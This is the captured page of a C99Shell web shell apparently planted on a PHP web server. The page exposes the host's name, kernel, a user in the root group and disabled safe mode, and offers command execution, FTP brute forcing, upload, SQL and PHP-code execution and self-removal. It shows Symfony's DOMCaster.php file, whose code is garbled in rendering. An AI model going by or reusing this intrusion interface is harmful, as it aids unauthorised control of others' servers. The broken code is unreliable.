!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/gwp.picotech.app/public_html/vendor/symfony/var-dumper/Caster/   drwxr-xr-x
Free 28.66 GB of 117.98 GB (24.29%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DOMCaster.php (7.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\VarDumper\Caster;

use 
Symfony\Component\VarDumper\Cloner\Stub;

/**
 * Casts DOM related classes to array representation.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 *
 * @final
 *
 * @internal since Symfony 7.3
 */
class DOMCaster
{
    private const 
ERROR_CODES = [
        
=> 'DOM_PHP_ERR',
        
\DOM_INDEX_SIZE_ERR => 'DOM_INDEX_SIZE_ERR',
        
\DOMSTRING_SIZE_ERR => 'DOMSTRING_SIZE_ERR',
        
\DOM_HIERARCHY_REQUEST_ERR => 'DOM_HIERARCHY_REQUEST_ERR',
        
\DOM_WRONG_DOCUMENT_ERR => 'DOM_WRONG_DOCUMENT_ERR',
        
\DOM_INVALID_CHARACTER_ERR => 'DOM_INVALID_CHARACTER_ERR',
        
\DOM_NO_DATA_ALLOWED_ERR => 'DOM_NO_DATA_ALLOWED_ERR',
        
\DOM_NO_MODIFICATION_ALLOWED_ERR => 'DOM_NO_MODIFICATION_ALLOWED_ERR',
        
\DOM_NOT_FOUND_ERR => 'DOM_NOT_FOUND_ERR',
        
\DOM_NOT_SUPPORTED_ERR => 'DOM_NOT_SUPPORTED_ERR',
        
\DOM_INUSE_ATTRIBUTE_ERR => 'DOM_INUSE_ATTRIBUTE_ERR',
        
\DOM_INVALID_STATE_ERR => 'DOM_INVALID_STATE_ERR',
        
\DOM_SYNTAX_ERR => 'DOM_SYNTAX_ERR',
        
\DOM_INVALID_MODIFICATION_ERR => 'DOM_INVALID_MODIFICATION_ERR',
        
\DOM_NAMESPACE_ERR => 'DOM_NAMESPACE_ERR',
        
\DOM_INVALID_ACCESS_ERR => 'DOM_INVALID_ACCESS_ERR',
        
\DOM_VALIDATION_ERR => 'DOM_VALIDATION_ERR',
    ];

    private const 
NODE_TYPES = [
        
\XML_ELEMENT_NODE => 'XML_ELEMENT_NODE',
        
\XML_ATTRIBUTE_NODE => 'XML_ATTRIBUTE_NODE',
        
\XML_TEXT_NODE => 'XML_TEXT_NODE',
        
\XML_CDATA_SECTION_NODE => 'XML_CDATA_SECTION_NODE',
        
\XML_ENTITY_REF_NODE => 'XML_ENTITY_REF_NODE',
        
\XML_ENTITY_NODE => 'XML_ENTITY_NODE',
        
\XML_PI_NODE => 'XML_PI_NODE',
        
\XML_COMMENT_NODE => 'XML_COMMENT_NODE',
        
\XML_DOCUMENT_NODE => 'XML_DOCUMENT_NODE',
        
\XML_DOCUMENT_TYPE_NODE => 'XML_DOCUMENT_TYPE_NODE',
        
\XML_DOCUMENT_FRAG_NODE => 'XML_DOCUMENT_FRAG_NODE',
        
\XML_NOTATION_NODE => 'XML_NOTATION_NODE',
        
\XML_HTML_DOCUMENT_NODE => 'XML_HTML_DOCUMENT_NODE',
        
\XML_DTD_NODE => 'XML_DTD_NODE',
        
\XML_ELEMENT_DECL_NODE => 'XML_ELEMENT_DECL_NODE',
        
\XML_ATTRIBUTE_DECL_NODE => 'XML_ATTRIBUTE_DECL_NODE',
        
\XML_ENTITY_DECL_NODE => 'XML_ENTITY_DECL_NODE',
        
\XML_NAMESPACE_DECL_NODE => 'XML_NAMESPACE_DECL_NODE',
    ];

    public static function 
castException(\DOMException|\Dom\Exception $e, array $aStub $stubbool $isNested): array
    {
        
$k Caster::PREFIX_PROTECTED.'code';
        if (isset(
$a[$k], self::ERROR_CODES[$a[$k]])) {
            
$a[$k] = new ConstStub(self::ERROR_CODES[$a[$k]], $a[$k]);
        }

        return 
$a;
    }

    public static function 
castLength($dom, array $aStub $stubbool $isNested): array
    {
        return 
$a;
    }

    public static function 
castImplementation(\DOMImplementation|\Dom\Implementation $dom, array $aStub $stubbool $isNested): array
    {
        
$a += [
            
Caster::PREFIX_VIRTUAL.'Core' => '1.0',
            
Caster::PREFIX_VIRTUAL.'XML' => '2.0',
        ];

        return 
$a;
    }

    public static function 
castNode(\DOMNode|\Dom\Node $dom, array $aStub $stubbool $isNested): array
    {
        return 
self::castDom($dom$a$stub$isNested);
    }

    public static function 
castNameSpaceNode(\DOMNameSpaceNode $dom, array $aStub $stubbool $isNested): array
    {
        return 
self::castDom($dom$a$stub$isNested);
    }

    public static function 
castDocument(\DOMDocument $dom, array $aStub $stubbool $isNestedint $filter 0): array
    {
        if (!(
$filter Caster::EXCLUDE_VERBOSE)) {
            
$formatOutput $dom->formatOutput;
            
$dom->formatOutput true;
            
$a += [Caster::PREFIX_VIRTUAL.'xml' => $dom->saveXML()];
            
$dom->formatOutput $formatOutput;
        }

        return 
$a;
    }

    public static function 
castXMLDocument(\Dom\XMLDocument $dom, array $aStub $stubbool $isNestedint $filter 0): array
    {
        if (!(
$filter Caster::EXCLUDE_VERBOSE)) {
            
$formatOutput $dom->formatOutput;
            
$dom->formatOutput true;
            
$a += [Caster::PREFIX_VIRTUAL.'xml' => $dom->saveXML()];
            
$dom->formatOutput $formatOutput;
        }

        return 
$a;
    }

    public static function 
castHTMLDocument(\Dom\HTMLDocument $dom, array $aStub $stubbool $isNestedint $filter 0): array
    {
        if (!(
$filter Caster::EXCLUDE_VERBOSE)) {
            
$a += [Caster::PREFIX_VIRTUAL.'html' => $dom->saveHTML()];
        }

        return 
$a;
    }

    public static function 
castCharacterData(\DOMCharacterData|\Dom\CharacterData $dom, array $aStub $stubbool $isNested): array
    {
        return 
$a;
    }

    public static function 
castAttr(\DOMAttr|\Dom\Attr $dom, array $aStub $stubbool $isNested): array
    {
        return 
$a;
    }

    public static function 
castElement(\DOMElement|\Dom\Element $dom, array $aStub $stubbool $isNested): array
    {
        return 
$a;
    }

    public static function 
castText(\DOMText|\Dom\Text $dom, array $aStub $stubbool $isNested): array
    {
        return 
$a;
    }

    public static function 
castDocumentType(\DOMDocumentType|\Dom\DocumentType $dom, array $aStub $stubbool $isNested): array
    {
        return 
$a;
    }

    public static function 
castNotation(\DOMNotation|\Dom\Notation $dom, array $aStub $stubbool $isNested): array
    {
        return 
$a;
    }

    public static function 
castEntity(\DOMEntity|\Dom\Entity $dom, array $aStub $stubbool $isNested): array
    {
        return 
$a;
    }

    public static function 
castProcessingInstruction(\DOMProcessingInstruction|\Dom\ProcessingInstruction $dom, array $aStub $stubbool $isNested): array
    {
        return 
$a;
    }

    public static function 
castXPath(\DOMXPath|\Dom\XPath $dom, array $aStub $stubbool $isNested): array
    {
        return 
self::castDom($dom$a$stub$isNested);
    }

    public static function 
castDom($dom, array $aStub $stubbool $isNestedint $filter 0): array
    {
        foreach (
$a as $k => $v) {
            if (
'encoding' === $k && $dom instanceof \DOMEntity
                
|| \in_array($k, ['actualEncoding''config''standalone''version'], true)
            ) {
                continue; 
// deprecated properties
            
}

            
$v $dom->$k;

            
$a[$k] = match (true) {
                
$v instanceof \DOMNode || $v instanceof \Dom\Node => new CutStub($v),
                
'nodeType' === $k => new ConstStub(self::NODE_TYPES[$v], $v),
                
'baseURI' === $k && $v,
                
'documentURI' === $k && $v => new LinkStub($v),
                default => 
$v,
            };
        }

        if (
$dom instanceof \IteratorAggregate) {
            foreach (
$dom as $k => $v) {
                
$a[Caster::PREFIX_VIRTUAL.$k] = $v;
            }
        }

        return 
$a;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--